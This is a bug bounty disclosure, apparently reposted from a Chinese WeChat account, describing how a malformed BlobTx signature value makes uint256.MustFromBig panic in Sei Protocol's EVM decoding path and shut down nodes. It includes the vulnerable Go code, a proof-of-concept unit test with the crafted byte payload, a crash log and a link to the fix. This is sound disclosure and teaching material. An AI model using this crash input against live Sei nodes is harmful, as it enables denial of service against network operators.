Brief/Intro
Vulnerability Details
GetRawSignatureValues
when decode the ethtypes.BlobTx
msg data ,for the bad decode the signature vaule and no check the input data which can lead to the call to MustFromBig
paniced.we know AsEthereumData()
is used for decoding the Evm BlobTx data,the code is below,First the function get v,r,s by call tx.GetRawSignatureValues()
and there is no check the value v,r,s and directly call uint256.MustFromBig,
with the v ,r,s as input.func (tx *BlobTx) AsEthereumData() ethtypes.TxData {
r, s := tx.GetRawSignatureValues()
return ðtypes.BlobTx{
ChainID: uint256.MustFromBig(tx.GetChainID()),
Nonce: tx.GetNonce(),
GasTipCap: uint256.MustFromBig(tx.GetGasTipCap()),
GasFeeCap: uint256.MustFromBig(tx.GetGasFeeCap()),
Gas: tx.GetGas(),
To: *tx.GetTo(),
Value: uint256.MustFromBig(tx.GetValue()),
Data: tx.GetData(),
AccessList: tx.GetAccessList(),
BlobFeeCap: uint256.MustFromBig(tx.GetBlobFeeCap()),
BlobHashes: tx.GetBlobHashes(),
Sidecar: sidecarToEthSidecar(tx.Sidecar),
V: uint256.MustFromBig(v),
R: uint256.MustFromBig(r),
S: uint256.MustFromBig(s),
}
}
omitempty
, other value can be emptytype BlobTx struct {
ChainID *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,1,opt,name=chain_id,json=chainId,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"chainID"`
Nonce uint64 `protobuf:"varint,2,opt,name=nonce,proto3" json:"nonce,omitempty"`
GasTipCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,3,opt,name=gas_tip_cap,json=gasTipCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"gas_tip_cap,omitempty"`
GasFeeCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,4,opt,name=gas_fee_cap,json=gasFeeCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"gas_fee_cap,omitempty"`
GasLimit uint64 `protobuf:"varint,5,opt,name=gas_limit,json=gasLimit,proto3" json:"gas_limit,omitempty"`
To string `protobuf:"bytes,6,opt,name=to,proto3" json:"to,omitempty"`
Amount *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,7,opt,name=value,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"value,omitempty"`
Data []byte `protobuf:"bytes,8,opt,name=data,proto3" json:"data,omitempty"`
Accesses AccessList `protobuf:"bytes,9,rep,name=accesses,proto3,castrepeated=AccessList" json:"accessList"`
BlobFeeCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,10,opt,name=blob_fee_cap,json=blobFeeCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"blob_fee_cap,omitempty"`
BlobHashes [][]byte `protobuf:"bytes,11,rep,name=blob_hashes,json=blobHashes,proto3" json:"blob_hashes,omitempty"`
Sidecar *BlobTxSidecar `protobuf:"bytes,12,opt,name=sidecar,proto3" json:"sidecar,omitempty"`
// signature values
V []byte `protobuf:"bytes,13,opt,name=v,proto3" json:"v,omitempty"`
R []byte `protobuf:"bytes,14,opt,name=r,proto3" json:"r,omitempty"`
S []byte `protobuf:"bytes,15,opt,name=s,proto3" json:"s,omitempty"`
}
uint256.MustFromBig(s),
in the function AsEthereumData
will lead to paniced for overflow MustFromBig code:// MustFromBig is a convenience-constructor from big.Int.
// Returns a new Int and panics if overflow occurred.
// OBS: If b is `nil`, this method does _not_ panic, but
// instead returns `nil`
func MustFromBig(b *big.Int) *Int {
if b == nil {
return nil
}
z := &Int{}
if z.SetFromBig(b) {
panic("overflow")
}
return z
}
How to exploit:
ProcessBlock
function will get the emsg(evm msg) from the Tx data. part of code:// run the prioritized txs
prioritizedResults, ctx := app.ExecuteTxsConcurrently(ctx, prioritizedTxs, prioritizedTypedTxs, prioritizedIndices)
for relativePrioritizedIndex, originalIndex := range prioritizedIndices {
txResults[originalIndex] = prioritizedResults[relativePrioritizedIndex]
if emsg := evmtypes.GetEVMTransactionMessage(prioritizedTypedTxs[relativePrioritizedIndex]); emsg != nil && !emsg.IsAssociateTx() {
evmTxs[originalIndex] = emsg
} else {
evmTxs[originalIndex] = nil
}
}
// Finalize all Bank Module Transfers here so that events are included for prioritiezd txs
deferredWriteEvents := app.BankKeeper.WriteDeferredBalances(ctx)
events = append(events, deferredWriteEvents...)
midBlockEvents := app.MidBlock(ctx, req.GetHeight())
events = append(events, midBlockEvents...)
otherResults, ctx := app.ExecuteTxsConcurrently(ctx, otherTxs, otherTypedTxs, otherIndices)
for relativeOtherIndex, originalIndex := range otherIndices {
txResults[originalIndex] = otherResults[relativeOtherIndex]
if emsg := evmtypes.GetEVMTransactionMessage(otherTypedTxs[relativeOtherIndex]); emsg != nil && !emsg.IsAssociateTx() {
evmTxs[originalIndex] = emsg
} else {
evmTxs[originalIndex] = nil
}
evmTxs[originalIndex] = emsg
, in here will get the msg data,And in the ProcessBlock
will call DecodeTransactionsConcurrently
to decode the Tx, which the important is preprocess the evm msg, first will unpack the tx data, the code is below(simplied version):func Preprocess(ctx sdk.Context, msgEVMTransaction *evmtypes.MsgEVMTransaction) error {
txData, err := evmtypes.UnpackTxData(msgEVMTransaction.Data)
if err != nil {
return err
}
...
ethTx := ethtypes.NewTx(txData.AsEthereumData())
txData
will be ok, no err return, the function UnpackTxData
can bypass the check(like the PoC code.) and return no err.and then when call AsEthereumData()
like the description before, because the bad value of the signature value S
, and no verify the input of the function MustFromBig
and when convert the big.int to int will lead to panic, and then will lead to the Sei Node Shutdown.Proof of Concept
Unmarshal
and Marshal
. so this is a valid EVMTransaction msg ,which this means if attacker use this maclious EVMTransaction msg and send to the Sei netowrk when the sei node decode the msg will lead to Sei Node Shutdown.func TestUnpackTxData(t *testing.T) {
btx := ethtx.BlobTx{}
if proto.Unmarshal([]byte("z0000000000000000000000000000000000000000000000000"), &btx) == nil {
msg, err := types.NewMsgEVMTransaction(&btx)
if err != nil {
return
}
_, ethTxData := msg.AsTransaction()
}
}
0
, s
inuint256.MustFromBig(s)
will be []byte(“000000000000000000000000000000000000000000000000”)BlobTx{
ChainID:0
S:uint256.MustFromBig([]byte("000000000000000000000000000000000000000000000000"))
}
and the when call MustFromBig
will lead to panic.
Crash log:
--- FAIL: TestUnpackTxData (0.00s)
panic: overflow [recovered]
panic: overflow
goroutine 277 [running]:
testing.tRunner.func1.2({0x1f2e6c0, 0x31c41b0})
/home/.gvm/gos/go1.21.10/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/home/.gvm/gos/go1.21.10/src/testing/testing.go:1548 +0x397
panic({0x1f2e6c0?, 0x31c41b0?})
/home/.gvm/gos/go1.21.10/src/runtime/panic.go:914 +0x21f
github.com/holiman/uint256.MustFromBig(...)
/home/.gvm/pkgsets/go1.21.10/global/pkg/mod/github.com/holiman/uint256@v1.2.4/conversion.go:88
github.com/sei-protocol/sei-chain/x/evm/types/ethtx.(*BlobTx).AsEthereumData(0xc00023e2a0)
/home/dev/sei-chain/x/evm/types/ethtx/blob_tx.go:169 +0x1505
github.com/sei-protocol/sei-chain/x/evm/types.(*MsgEVMTransaction).AsTransaction(0x31d57e0?)
/home/dev/sei-chain/x/evm/types/message_evm_transaction.go:53 +0x3a
github.com/sei-protocol/sei-chain/x/evm/types_test.TestUnpackTxData(0x1?)
/home/dev/sei-chain/x/evm/types/message_evm_transaction_test.go:124 +0xbb
testing.tRunner(0xc00061a680, 0x2eeaa70)
/home/.gvm/gos/go1.21.10/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/home/.gvm/gos/go1.21.10/src/testing/testing.go:1648 +0x3ad
FAIL github.com/sei-protocol/sei-chain/x/evm/types 0.856s
FAI
The Fix
https://github.com/sei-protocol/sei-chain/pull/1762
后记
原文始发于微信公众号(Viruspectre):价值75K刀的Sei Protocol漏洞分享